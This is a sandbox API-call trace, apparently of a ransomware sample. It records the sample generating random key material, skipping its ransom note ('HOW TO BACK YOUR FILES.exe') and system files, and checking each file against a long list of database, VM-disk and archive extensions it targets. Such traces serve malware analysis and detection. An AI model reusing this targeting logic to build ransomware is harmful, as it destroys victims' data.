	[0084.803] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d80, lpName=0x0) returned 0x15c
	[0084.803] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d80) returned 0x100000
	[0084.806] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0084.807] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0084.807] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0084.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0084.807] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0084.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0084.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0084.807] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0084.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0084.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0084.807] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0084.807] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0084.807] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0084.807] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0084.808] CloseHandle (hObject=0x15c) returned 1
	[0084.808] CloseHandle (hObject=0x9c) returned 1
	[0084.812] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0084.812] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0084.812] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0084.812] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fc2c210, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fc2c210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0084.813] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0084.813] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pending.GRL", cAlternateFileName="")) returned 1
	[0084.813] lstrcmpiW (lpString1="Pending.GRL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.813] lstrcmpiW (lpString1="Pending.GRL", lpString2="Apollon865.txt.exe") returned 1
	[0084.813] lstrcmpiW (lpString1="Pending.GRL", lpString2=".") returned 1
	[0084.813] lstrcmpiW (lpString1="Pending.GRL", lpString2="..") returned 1
	[0084.813] lstrcmpiW (lpString1="Pending.GRL", lpString2="windows") returned -1
	[0084.813] lstrcmpiW (lpString1="Pending.GRL", lpString2="bootmgr") returned 1
	[0084.813] lstrcmpiW (lpString1="Pending.GRL", lpString2="temp") returned -1
	[0084.813] lstrcmpiW (lpString1="Pending.GRL", lpString2="pagefile.sys") returned 1
	[0084.813] lstrcmpiW (lpString1="Pending.GRL", lpString2="boot") returned 1
	[0084.813] lstrcmpiW (lpString1="Pending.GRL", lpString2="ids.txt") returned 1
	[0084.813] lstrcmpiW (lpString1="Pending.GRL", lpString2="ntuser.dat") returned 1
	[0084.813] lstrcmpiW (lpString1="Pending.GRL", lpString2="perflogs") returned -1
	[0084.813] lstrcmpiW (lpString1="Pending.GRL", lpString2="MSBuild") returned 1
	[0084.813] lstrlenW (lpString="Pending.GRL") returned 11
	[0084.813] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL") returned 42
	[0084.813] lstrcpyW (in: lpString1=0x119e648, lpString2="Pending.GRL" | out: lpString1="Pending.GRL") returned="Pending.GRL"
	[0084.813] lstrlenW (lpString="Pending.GRL") returned 11
	[0084.813] lstrlenW (lpString="Apollon865") returned 10
	[0084.813] lstrcmpiW (lpString1="ending.GRL", lpString2="Apollon865") returned 1
	[0084.813] lstrlenW (lpString=".dll") returned 4
	[0084.813] lstrcmpiW (lpString1="Pending.GRL", lpString2=".dll") returned 1
	[0084.813] lstrlenW (lpString=".lnk") returned 4
	[0084.813] lstrcmpiW (lpString1="Pending.GRL", lpString2=".lnk") returned 1
	[0084.813] lstrlenW (lpString=".ini") returned 4
	[0084.813] lstrcmpiW (lpString1="Pending.GRL", lpString2=".ini") returned 1
	[0084.813] lstrlenW (lpString=".sys") returned 4
	[0084.813] lstrcmpiW (lpString1="Pending.GRL", lpString2=".sys") returned 1
	[0084.813] lstrlenW (lpString="Pending.GRL") returned 11
	[0084.813] lstrlenW (lpString="bak") returned 3
	[0084.813] lstrcmpiW (lpString1="GRL", lpString2="bak") returned 1
	[0084.813] lstrlenW (lpString="ba_") returned 3
	[0084.813] lstrcmpiW (lpString1="GRL", lpString2="ba_") returned 1
	[0084.813] lstrlenW (lpString="dbb") returned 3
	[0084.814] lstrcmpiW (lpString1="GRL", lpString2="dbb") returned 1
	[0084.814] lstrlenW (lpString="vmdk") returned 4
	[0084.814] lstrcmpiW (lpString1=".GRL", lpString2="vmdk") returned -1
	[0084.814] lstrlenW (lpString="rar") returned 3
	[0084.814] lstrcmpiW (lpString1="GRL", lpString2="rar") returned -1
	[0084.814] lstrlenW (lpString="zip") returned 3
	[0084.814] lstrcmpiW (lpString1="GRL", lpString2="zip") returned -1
	[0084.814] lstrlenW (lpString="tgz") returned 3
	[0084.814] lstrcmpiW (lpString1="GRL", lpString2="tgz") returned -1
	[0084.814] lstrlenW (lpString="vbox") returned 4
	[0084.814] lstrcmpiW (lpString1=".GRL", lpString2="vbox") returned -1
	[0084.814] lstrlenW (lpString="vdi") returned 3
	[0084.814] lstrcmpiW (lpString1="GRL", lpString2="vdi") returned -1
	[0084.814] lstrlenW (lpString="vhd") returned 3
	[0084.814] lstrcmpiW (lpString1="GRL", lpString2="vhd") returned -1
	[0084.814] lstrlenW (lpString="vhdx") returned 4
	[0084.814] lstrcmpiW (lpString1=".GRL", lpString2="vhdx") returned -1
	[0084.814] lstrlenW (lpString="avhd") returned 4
	[0084.814] lstrcmpiW (lpString1=".GRL", lpString2="avhd") returned -1
	[0084.814] lstrlenW (lpString="db") returned 2
	[0084.814] lstrcmpiW (lpString1="RL", lpString2="db") returned 1
	[0084.814] lstrlenW (lpString="db2") returned 3
	[0084.814] lstrcmpiW (lpString1="GRL", lpString2="db2") returned 1
	[0084.814] lstrlenW (lpString="db3") returned 3
	[0084.814] lstrcmpiW (lpString1="GRL", lpString2="db3") returned 1
	[0084.814] lstrlenW (lpString="dbf") returned 3
	[0084.814] lstrcmpiW (lpString1="GRL", lpString2="dbf") returned 1
	[0084.814] lstrlenW (lpString="mdf") returned 3
	[0084.814] lstrcmpiW (lpString1="GRL", lpString2="mdf") returned -1
	[0084.814] lstrlenW (lpString="mdb") returned 3
	[0084.814] lstrcmpiW (lpString1="GRL", lpString2="mdb") returned -1
	[0084.814] lstrlenW (lpString="sql") returned 3
	[0084.814] lstrcmpiW (lpString1="GRL", lpString2="sql") returned -1
	[0084.814] lstrlenW (lpString="sqlite") returned 6
	[0084.814] lstrcmpiW (lpString1="ng.GRL", lpString2="sqlite") returned -1
	[0084.814] lstrlenW (lpString="sqlite3") returned 7
	[0084.814] lstrcmpiW (lpString1="ing.GRL", lpString2="sqlite3") returned -1
	[0084.814] lstrlenW (lpString="sqlitedb") returned 8
	[0084.815] lstrcmpiW (lpString1="ding.GRL", lpString2="sqlitedb") returned -1
	[0084.815] lstrlenW (lpString="xml") returned 3
	[0084.815] lstrcmpiW (lpString1="GRL", lpString2="xml") returned -1
	[0084.815] lstrlenW (lpString="$er") returned 3
	[0084.815] lstrcmpiW (lpString1="GRL", lpString2="$er") returned 1
	[0084.815] lstrlenW (lpString="4dd") returned 3
	[0084.815] lstrcmpiW (lpString1="GRL", lpString2="4dd") returned 1
	[0084.815] lstrlenW (lpString="4dl") returned 3
	[0084.815] lstrcmpiW (lpString1="GRL", lpString2="4dl") returned 1
	[0084.815] lstrlenW (lpString="^^^") returned 3
	[0084.815] lstrcmpiW (lpString1="GRL", lpString2="^^^") returned 1
	[0084.815] lstrlenW (lpString="abs") returned 3
	[0084.815] lstrcmpiW (lpString1="GRL", lpString2="abs") returned 1
	[0084.815] lstrlenW (lpString="abx") returned 3
	[0084.815] lstrcmpiW (lpString1="GRL", lpString2="abx") returned 1
	[0084.815] lstrlenW (lpString="accdb") returned 5
	[0084.815] lstrcmpiW (lpString1="g.GRL", lpString2="accdb") returned 1
	[0084.815] lstrlenW (lpString="accdc") returned 5
	[0084.815] lstrcmpiW (lpString1="g.GRL", lpString2="accdc") returned 1
	[0084.815] lstrlenW (lpString="accde") returned 5
	[0084.815] lstrcmpiW (lpString1="g.GRL", lpString2="accde") returned 1
	[0084.815] lstrlenW (lpString="accdr") returned 5
	[0084.815] lstrcmpiW (lpString1="g.GRL", lpString2="accdr") returned 1
	[0084.815] lstrlenW (lpString="accdt") returned 5
	[0084.815] lstrcmpiW (lpString1="g.GRL", lpString2="accdt") returned 1
	[0084.815] lstrlenW (lpString="accdw") returned 5
	[0084.815] lstrcmpiW (lpString1="g.GRL", lpString2="accdw") returned 1
	[0084.815] lstrlenW (lpString="accft") returned 5
	[0084.815] lstrcmpiW (lpString1="g.GRL", lpString2="accft") returned 1
	[0084.815] lstrlenW (lpString="adb") returned 3
	[0084.815] lstrcmpiW (lpString1="GRL", lpString2="adb") returned 1
	[0084.815] lstrlenW (lpString="adb") returned 3
	[0084.815] lstrcmpiW (lpString1="GRL", lpString2="adb") returned 1
	[0084.815] lstrlenW (lpString="ade") returned 3
	[0084.815] lstrcmpiW (lpString1="GRL", lpString2="ade") returned 1
	[0084.815] lstrlenW (lpString="adf") returned 3
	[0084.815] lstrcmpiW (lpString1="GRL", lpString2="adf") returned 1
	[0084.816] lstrlenW (lpString="adn") returned 3
	[0084.816] lstrcmpiW (lpString1="GRL", lpString2="adn") returned 1
	[0084.816] lstrlenW (lpString="adp") returned 3
	[0084.816] lstrcmpiW (lpString1="GRL", lpString2="adp") returned 1
	[0084.816] lstrlenW (lpString="alf") returned 3
	[0084.816] lstrcmpiW (lpString1="GRL", lpString2="alf") returned 1
	[0084.816] lstrlenW (lpString="ask") returned 3
	[0084.816] lstrcmpiW (lpString1="GRL", lpString2="ask") returned 1
	[0084.816] lstrlenW (lpString="btr") returned 3
	[0084.816] lstrcmpiW (lpString1="GRL", lpString2="btr") returned 1
	[0084.816] lstrlenW (lpString="cat") returned 3
	[0084.816] lstrcmpiW (lpString1="GRL", lpString2="cat") returned 1
	[0084.816] lstrlenW (lpString="cdb") returned 3
	[0084.816] lstrcmpiW (lpString1="GRL", lpString2="cdb") returned 1
	[0084.816] lstrlenW (lpString="ckp") returned 3
	[0084.816] lstrcmpiW (lpString1="GRL", lpString2="ckp") returned 1
	[0084.816] lstrlenW (lpString="cma") returned 3
	[0084.816] lstrcmpiW (lpString1="GRL", lpString2="cma") returned 1
	[0084.816] lstrlenW (lpString="cpd") returned 3
	[0084.816] lstrcmpiW (lpString1="GRL", lpString2="cpd") returned 1
	[0084.816] lstrlenW (lpString="dacpac") returned 6
	[0084.816] lstrcmpiW (lpString1="ng.GRL", lpString2="dacpac") returned 1
	[0084.816] lstrlenW (lpString="dad") returned 3
	[0084.816] lstrcmpiW (lpString1="GRL", lpString2="dad") returned 1
	[0084.816] lstrlenW (lpString="dadiagrams") returned 10
	[0084.816] lstrcmpiW (lpString1="ending.GRL", lpString2="dadiagrams") returned 1
	[0084.816] lstrlenW (lpString="daschema") returned 8
	[0084.816] lstrcmpiW (lpString1="ding.GRL", lpString2="daschema") returned 1
	[0084.816] lstrlenW (lpString="db-journal") returned 10
	[0084.816] lstrcmpiW (lpString1="ending.GRL", lpString2="db-journal") returned 1
	[0084.816] lstrlenW (lpString="db-shm") returned 6
	[0084.816] lstrcmpiW (lpString1="ng.GRL", lpString2="db-shm") returned 1
	[0084.816] lstrlenW (lpString="db-wal") returned 6
	[0084.816] lstrcmpiW (lpString1="ng.GRL", lpString2="db-wal") returned 1
	[0084.816] lstrlenW (lpString="dbc") returned 3
	[0084.816] lstrcmpiW (lpString1="GRL", lpString2="dbc") returned 1
	[0084.816] lstrlenW (lpString="dbs") returned 3
	[0084.816] lstrcmpiW (lpString1="GRL", lpString2="dbs") returned 1
	[0084.817] lstrlenW (lpString="dbt") returned 3
	[0084.817] lstrcmpiW (lpString1="GRL", lpString2="dbt") returned 1
	[0084.817] lstrlenW (lpString="dbv") returned 3
	[0084.817] lstrcmpiW (lpString1="GRL", lpString2="dbv") returned 1
	[0084.817] lstrlenW (lpString="dbx") returned 3
	[0084.817] lstrcmpiW (lpString1="GRL", lpString2="dbx") returned 1
	[0084.817] lstrlenW (lpString="dcb") returned 3
	[0084.817] lstrcmpiW (lpString1="GRL", lpString2="dcb") returned 1
	[0084.817] lstrlenW (lpString="dct") returned 3
	[0084.817] lstrcmpiW (lpString1="GRL", lpString2="dct") returned 1
	[0084.817] lstrlenW (lpString="dcx") returned 3
	[0084.817] lstrcmpiW (lpString1="GRL", lpString2="dcx") returned 1
	[0084.817] lstrlenW (lpString="ddl") returned 3
	[0084.817] lstrcmpiW (lpString1="GRL", lpString2="ddl") returned 1
	[0084.817] lstrlenW (lpString="dlis") returned 4
	[0084.817] lstrcmpiW (lpString1=".GRL", lpString2="dlis") returned -1
	[0084.817] lstrlenW (lpString="dp1") returned 3
	[0084.817] lstrcmpiW (lpString1="GRL", lpString2="dp1") returned 1
	[0084.817] lstrlenW (lpString="dqy") returned 3
	[0084.817] lstrcmpiW (lpString1="GRL", lpString2="dqy") returned 1
	[0084.817] lstrlenW (lpString="dsk") returned 3
	[0084.817] lstrcmpiW (lpString1="GRL", lpString2="dsk") returned 1
	[0084.817] lstrlenW (lpString="dsn") returned 3
	[0084.817] lstrcmpiW (lpString1="GRL", lpString2="dsn") returned 1
	[0084.817] lstrlenW (lpString="dtsx") returned 4
	[0084.817] lstrcmpiW (lpString1=".GRL", lpString2="dtsx") returned -1
	[0084.817] lstrlenW (lpString="dxl") returned 3
	[0084.817] lstrcmpiW (lpString1="GRL", lpString2="dxl") returned 1
	[0084.817] lstrlenW (lpString="eco") returned 3
	[0084.817] lstrcmpiW (lpString1="GRL", lpString2="eco") returned 1
	[0084.817] lstrlenW (lpString="ecx") returned 3
	[0084.817] lstrcmpiW (lpString1="GRL", lpString2="ecx") returned 1
	[0084.817] lstrlenW (lpString="edb") returned 3
	[0084.817] lstrcmpiW (lpString1="GRL", lpString2="edb") returned 1
	[0084.817] lstrlenW (lpString="epim") returned 4
	[0084.817] lstrcmpiW (lpString1=".GRL", lpString2="epim") returned -1
	[0084.817] lstrlenW (lpString="fcd") returned 3
	[0084.817] lstrcmpiW (lpString1="GRL", lpString2="fcd") returned 1
	[0084.818] lstrlenW (lpString="fdb") returned 3
	[0084.818] lstrcmpiW (lpString1="GRL", lpString2="fdb") returned 1
	[0084.818] lstrlenW (lpString="fic") returned 3
	[0084.818] lstrcmpiW (lpString1="GRL", lpString2="fic") returned 1
	[0084.818] lstrlenW (lpString="flexolibrary") returned 12
	[0084.818] lstrlenW (lpString="fm5") returned 3
	[0084.818] lstrcmpiW (lpString1="GRL", lpString2="fm5") returned 1
	[0084.818] lstrlenW (lpString="fmp") returned 3
	[0084.818] lstrcmpiW (lpString1="GRL", lpString2="fmp") returned 1
	[0084.818] lstrlenW (lpString="fmp12") returned 5
	[0084.818] lstrcmpiW (lpString1="g.GRL", lpString2="fmp12") returned 1
	[0084.818] lstrlenW (lpString="fmpsl") returned 5
	[0084.818] lstrcmpiW (lpString1="g.GRL", lpString2="fmpsl") returned 1
	[0084.818] lstrlenW (lpString="fol") returned 3
	[0084.818] lstrcmpiW (lpString1="GRL", lpString2="fol") returned 1
	[0084.818] lstrlenW (lpString="fp3") returned 3
	[0084.818] lstrcmpiW (lpString1="GRL", lpString2="fp3") returned 1
	[0084.818] lstrlenW (lpString="fp4") returned 3
	[0084.818] lstrcmpiW (lpString1="GRL", lpString2="fp4") returned 1
	[0084.818] lstrlenW (lpString="fp5") returned 3
	[0084.818] lstrcmpiW (lpString1="GRL", lpString2="fp5") returned 1
	[0084.818] lstrlenW (lpString="fp7") returned 3
	[0084.818] lstrcmpiW (lpString1="GRL", lpString2="fp7") returned 1
	[0084.818] lstrlenW (lpString="fpt") returned 3
	[0084.818] lstrcmpiW (lpString1="GRL", lpString2="fpt") returned 1
	[0084.818] lstrlenW (lpString="frm") returned 3
	[0084.818] lstrcmpiW (lpString1="GRL", lpString2="frm") returned 1
	[0084.818] lstrlenW (lpString="gdb") returned 3
	[0084.818] lstrcmpiW (lpString1="GRL", lpString2="gdb") returned 1
	[0084.818] lstrlenW (lpString="gdb") returned 3
	[0084.818] lstrcmpiW (lpString1="GRL", lpString2="gdb") returned 1
	[0084.818] lstrlenW (lpString="grdb") returned 4
	[0084.818] lstrcmpiW (lpString1=".GRL", lpString2="grdb") returned -1
	[0084.818] lstrlenW (lpString="gwi") returned 3
	[0084.818] lstrcmpiW (lpString1="GRL", lpString2="gwi") returned -1
	[0084.818] lstrlenW (lpString="hdb") returned 3
	[0084.819] lstrcmpiW (lpString1="GRL", lpString2="hdb") returned -1
	[0084.819] lstrlenW (lpString="his") returned 3
	[0084.819] lstrcmpiW (lpString1="GRL", lpString2="his") returned -1
	[0084.819] lstrlenW (lpString="ib") returned 2
	[0084.819] lstrcmpiW (lpString1="RL", lpString2="ib") returned 1
	[0084.819] lstrlenW (lpString="idb") returned 3
	[0084.819] lstrcmpiW (lpString1="GRL", lpString2="idb") returned -1
	[0084.819] lstrlenW (lpString="ihx") returned 3
	[0084.819] lstrcmpiW (lpString1="GRL", lpString2="ihx") returned -1
	[0084.819] lstrlenW (lpString="itdb") returned 4
	[0084.819] lstrcmpiW (lpString1=".GRL", lpString2="itdb") returned -1
	[0084.819] lstrlenW (lpString="itw") returned 3
	[0084.819] lstrcmpiW (lpString1="GRL", lpString2="itw") returned -1
	[0084.819] lstrlenW (lpString="jet") returned 3
	[0084.819] lstrcmpiW (lpString1="GRL", lpString2="jet") returned -1
	[0084.819] lstrlenW (lpString="jtx") returned 3
	[0084.819] lstrcmpiW (lpString1="GRL", lpString2="jtx") returned -1
	[0084.819] lstrlenW (lpString="kdb") returned 3
	[0084.819] lstrcmpiW (lpString1="GRL", lpString2="kdb") returned -1
	[0084.819] lstrlenW (lpString="kexi") returned 4
	[0084.819] lstrcmpiW (lpString1=".GRL", lpString2="kexi") returned -1
	[0084.819] lstrlenW (lpString="kexic") returned 5
	[0084.819] lstrcmpiW (lpString1="g.GRL", lpString2="kexic") returned -1
	[0084.819] lstrlenW (lpString="kexis") returned 5
	[0084.819] lstrcmpiW (lpString1="g.GRL", lpString2="kexis") returned -1
	[0084.819] lstrlenW (lpString="lgc") returned 3
	[0084.819] lstrcmpiW (lpString1="GRL", lpString2="lgc") returned -1
	[0084.819] lstrlenW (lpString="lwx") returned 3
	[0084.819] lstrcmpiW (lpString1="GRL", lpString2="lwx") returned -1
	[0084.819] lstrlenW (lpString="maf") returned 3
	[0084.819] lstrcmpiW (lpString1="GRL", lpString2="maf") returned -1
	[0084.819] lstrlenW (lpString="maq") returned 3
	[0084.819] lstrcmpiW (lpString1="GRL", lpString2="maq") returned -1
	[0084.819] lstrlenW (lpString="mar") returned 3
	[0084.819] lstrcmpiW (lpString1="GRL", lpString2="mar") returned -1
	[0084.819] lstrlenW (lpString="marshal") returned 7
	[0084.819] lstrcmpiW (lpString1="ing.GRL", lpString2="marshal") returned -1
	[0084.819] lstrlenW (lpString="mas") returned 3
	[0084.820] lstrcmpiW (lpString1="GRL", lpString2="mas") returned -1
	[0084.820] lstrlenW (lpString="mav") returned 3
	[0084.820] lstrcmpiW (lpString1="GRL", lpString2="mav") returned -1
	[0084.820] lstrlenW (lpString="maw") returned 3
	[0084.820] lstrcmpiW (lpString1="GRL", lpString2="maw") returned -1
	[0084.820] lstrlenW (lpString="mdbhtml") returned 7
	[0084.820] lstrcmpiW (lpString1="ing.GRL", lpString2="mdbhtml") returned -1
	[0084.820] lstrlenW (lpString="mdn") returned 3
	[0084.820] lstrcmpiW (lpString1="GRL", lpString2="mdn") returned -1
	[0084.820] lstrlenW (lpString="mdt") returned 3
	[0084.820] lstrcmpiW (lpString1="GRL", lpString2="mdt") returned -1
	[0084.820] lstrlenW (lpString="mfd") returned 3
	[0084.820] lstrcmpiW (lpString1="GRL", lpString2="mfd") returned -1
	[0084.820] lstrlenW (lpString="mpd") returned 3
	[0084.820] lstrcmpiW (lpString1="GRL", lpString2="mpd") returned -1
	[0084.820] lstrlenW (lpString="mrg") returned 3
	[0084.820] lstrcmpiW (lpString1="GRL", lpString2="mrg") returned -1
	[0084.820] lstrlenW (lpString="mud") returned 3
	[0084.820] lstrcmpiW (lpString1="GRL", lpString2="mud") returned -1
	[0084.820] lstrlenW (lpString="mwb") returned 3
	[0084.820] lstrcmpiW (lpString1="GRL", lpString2="mwb") returned -1
	[0084.820] lstrlenW (lpString="myd") returned 3
	[0084.820] lstrcmpiW (lpString1="GRL", lpString2="myd") returned -1
	[0084.820] lstrlenW (lpString="ndf") returned 3
	[0084.820] lstrcmpiW (lpString1="GRL", lpString2="ndf") returned -1
	[0084.820] lstrlenW (lpString="nnt") returned 3
	[0084.820] lstrcmpiW (lpString1="GRL", lpString2="nnt") returned -1
	[0084.820] lstrlenW (lpString="nrmlib") returned 6
	[0084.820] lstrcmpiW (lpString1="ng.GRL", lpString2="nrmlib") returned -1
	[0084.820] lstrlenW (lpString="ns2") returned 3
	[0084.820] lstrcmpiW (lpString1="GRL", lpString2="ns2") returned -1
	[0084.820] lstrlenW (lpString="ns3") returned 3
	[0084.820] lstrcmpiW (lpString1="GRL", lpString2="ns3") returned -1
	[0084.820] lstrlenW (lpString="ns4") returned 3
	[0084.820] lstrcmpiW (lpString1="GRL", lpString2="ns4") returned -1
	[0084.820] lstrlenW (lpString="nsf") returned 3
	[0084.821] lstrcmpiW (lpString1="GRL", lpString2="nsf") returned -1
	[0084.821] lstrlenW (lpString="nv") returned 2
	[0084.821] lstrcmpiW (lpString1="RL", lpString2="nv") returned 1
	[0084.821] lstrlenW (lpString="nv2") returned 3
	[0084.821] lstrcmpiW (lpString1="GRL", lpString2="nv2") returned -1
	[0084.821] lstrlenW (lpString="nwdb") returned 4
	[0084.821] lstrcmpiW (lpString1=".GRL", lpString2="nwdb") returned -1
	[0084.821] lstrlenW (lpString="nyf") returned 3
	[0084.821] lstrcmpiW (lpString1="GRL", lpString2="nyf") returned -1
	[0084.821] lstrlenW (lpString="odb") returned 3
	[0084.821] lstrcmpiW (lpString1="GRL", lpString2="odb") returned -1
	[0084.821] lstrlenW (lpString="odb") returned 3
	[0084.821] lstrcmpiW (lpString1="GRL", lpString2="odb") returned -1
	[0084.821] lstrlenW (lpString="oqy") returned 3
	[0084.821] lstrcmpiW (lpString1="GRL", lpString2="oqy") returned -1
	[0084.821] lstrlenW (lpString="ora") returned 3
	[0084.821] lstrcmpiW (lpString1="GRL", lpString2="ora") returned -1
	[0084.821] lstrlenW (lpString="orx") returned 3
	[0084.821] lstrcmpiW (lpString1="GRL", lpString2="orx") returned -1
	[0084.821] lstrlenW (lpString="owc") returned 3
	[0084.821] lstrcmpiW (lpString1="GRL", lpString2="owc") returned -1
	[0084.821] lstrlenW (lpString="p96") returned 3
	[0084.821] lstrcmpiW (lpString1="GRL", lpString2="p96") returned -1
	[0084.821] lstrlenW (lpString="p97") returned 3
	[0084.821] lstrcmpiW (lpString1="GRL", lpString2="p97") returned -1
	[0084.821] lstrlenW (lpString="pan") returned 3
	[0084.821] lstrcmpiW (lpString1="GRL", lpString2="pan") returned -1
	[0084.821] lstrlenW (lpString="pdb") returned 3
	[0084.821] lstrcmpiW (lpString1="GRL", lpString2="pdb") returned -1
	[0084.821] lstrlenW (lpString="pdm") returned 3
	[0084.821] lstrcmpiW (lpString1="GRL", lpString2="pdm") returned -1
	[0084.821] lstrlenW (lpString="pnz") returned 3
	[0084.821] lstrcmpiW (lpString1="GRL", lpString2="pnz") returned -1
	[0084.821] lstrlenW (lpString="qry") returned 3
	[0084.821] lstrcmpiW (lpString1="GRL", lpString2="qry") returned -1
	[0084.821] lstrlenW (lpString="qvd") returned 3
	[0084.821] lstrcmpiW (lpString1="GRL", lpString2="qvd") returned -1
	[0084.822] lstrlenW (lpString="rbf") returned 3
	[0084.822] lstrcmpiW (lpString1="GRL", lpString2="rbf") returned -1
	[0084.822] lstrlenW (lpString="rctd") returned 4
	[0084.822] lstrcmpiW (lpString1=".GRL", lpString2="rctd") returned -1
	[0084.822] lstrlenW (lpString="rod") returned 3
	[0084.822] lstrcmpiW (lpString1="GRL", lpString2="rod") returned -1
	[0084.822] lstrlenW (lpString="rodx") returned 4
	[0084.822] lstrcmpiW (lpString1=".GRL", lpString2="rodx") returned -1
	[0084.822] lstrlenW (lpString="rpd") returned 3
	[0084.822] lstrcmpiW (lpString1="GRL", lpString2="rpd") returned -1
	[0084.822] lstrlenW (lpString="rsd") returned 3
	[0084.822] lstrcmpiW (lpString1="GRL", lpString2="rsd") returned -1
	[0084.822] lstrlenW (lpString="sas7bdat") returned 8
	[0084.822] lstrcmpiW (lpString1="ding.GRL", lpString2="sas7bdat") returned -1
	[0084.822] lstrlenW (lpString="sbf") returned 3
	[0084.822] lstrcmpiW (lpString1="GRL", lpString2="sbf") returned -1
	[0084.822] lstrlenW (lpString="scx") returned 3
	[0084.822] lstrcmpiW (lpString1="GRL", lpString2="scx") returned -1
	[0084.822] lstrlenW (lpString="sdb") returned 3
	[0084.822] lstrcmpiW (lpString1="GRL", lpString2="sdb") returned -1
	[0084.822] lstrlenW (lpString="sdc") returned 3
	[0084.822] lstrcmpiW (lpString1="GRL", lpString2="sdc") returned -1
	[0084.822] lstrlenW (lpString="sdf") returned 3
	[0084.822] lstrcmpiW (lpString1="GRL", lpString2="sdf") returned -1
	[0084.822] lstrlenW (lpString="sis") returned 3
	[0084.822] lstrcmpiW (lpString1="GRL", lpString2="sis") returned -1
	[0084.822] lstrlenW (lpString="spq") returned 3
	[0084.822] lstrcmpiW (lpString1="GRL", lpString2="spq") returned -1
	[0084.822] lstrlenW (lpString="te") returned 2
	[0084.822] lstrcmpiW (lpString1="RL", lpString2="te") returned -1
	[0084.822] lstrlenW (lpString="teacher") returned 7
	[0084.822] lstrcmpiW (lpString1="ing.GRL", lpString2="teacher") returned -1
	[0084.822] lstrlenW (lpString="tmd") returned 3
	[0084.822] lstrcmpiW (lpString1="GRL", lpString2="tmd") returned -1
	[0084.822] lstrlenW (lpString="tps") returned 3
	[0084.822] lstrcmpiW (lpString1="GRL", lpString2="tps") returned -1
	[0084.822] lstrlenW (lpString="trc") returned 3
	[0084.823] lstrcmpiW (lpString1="GRL", lpString2="trc") returned -1
	[0084.823] lstrlenW (lpString="trc") returned 3
	[0084.823] lstrcmpiW (lpString1="GRL", lpString2="trc") returned -1
	[0084.823] lstrlenW (lpString="trm") returned 3
	[0084.823] lstrcmpiW (lpString1="GRL", lpString2="trm") returned -1
	[0084.823] lstrlenW (lpString="udb") returned 3
	[0084.823] lstrcmpiW (lpString1="GRL", lpString2="udb") returned -1
	[0084.823] lstrlenW (lpString="udl") returned 3
	[0084.823] lstrcmpiW (lpString1="GRL", lpString2="udl") returned -1
	[0084.823] lstrlenW (lpString="usr") returned 3
	[0084.823] lstrcmpiW (lpString1="GRL", lpString2="usr") returned -1
	[0084.823] lstrlenW (lpString="v12") returned 3
	[0084.823] lstrcmpiW (lpString1="GRL", lpString2="v12") returned -1
	[0084.823] lstrlenW (lpString="vis") returned 3
	[0084.823] lstrcmpiW (lpString1="GRL", lpString2="vis") returned -1
	[0084.823] lstrlenW (lpString="vpd") returned 3
	[0084.823] lstrcmpiW (lpString1="GRL", lpString2="vpd") returned -1
	[0084.823] lstrlenW (lpString="vvv") returned 3
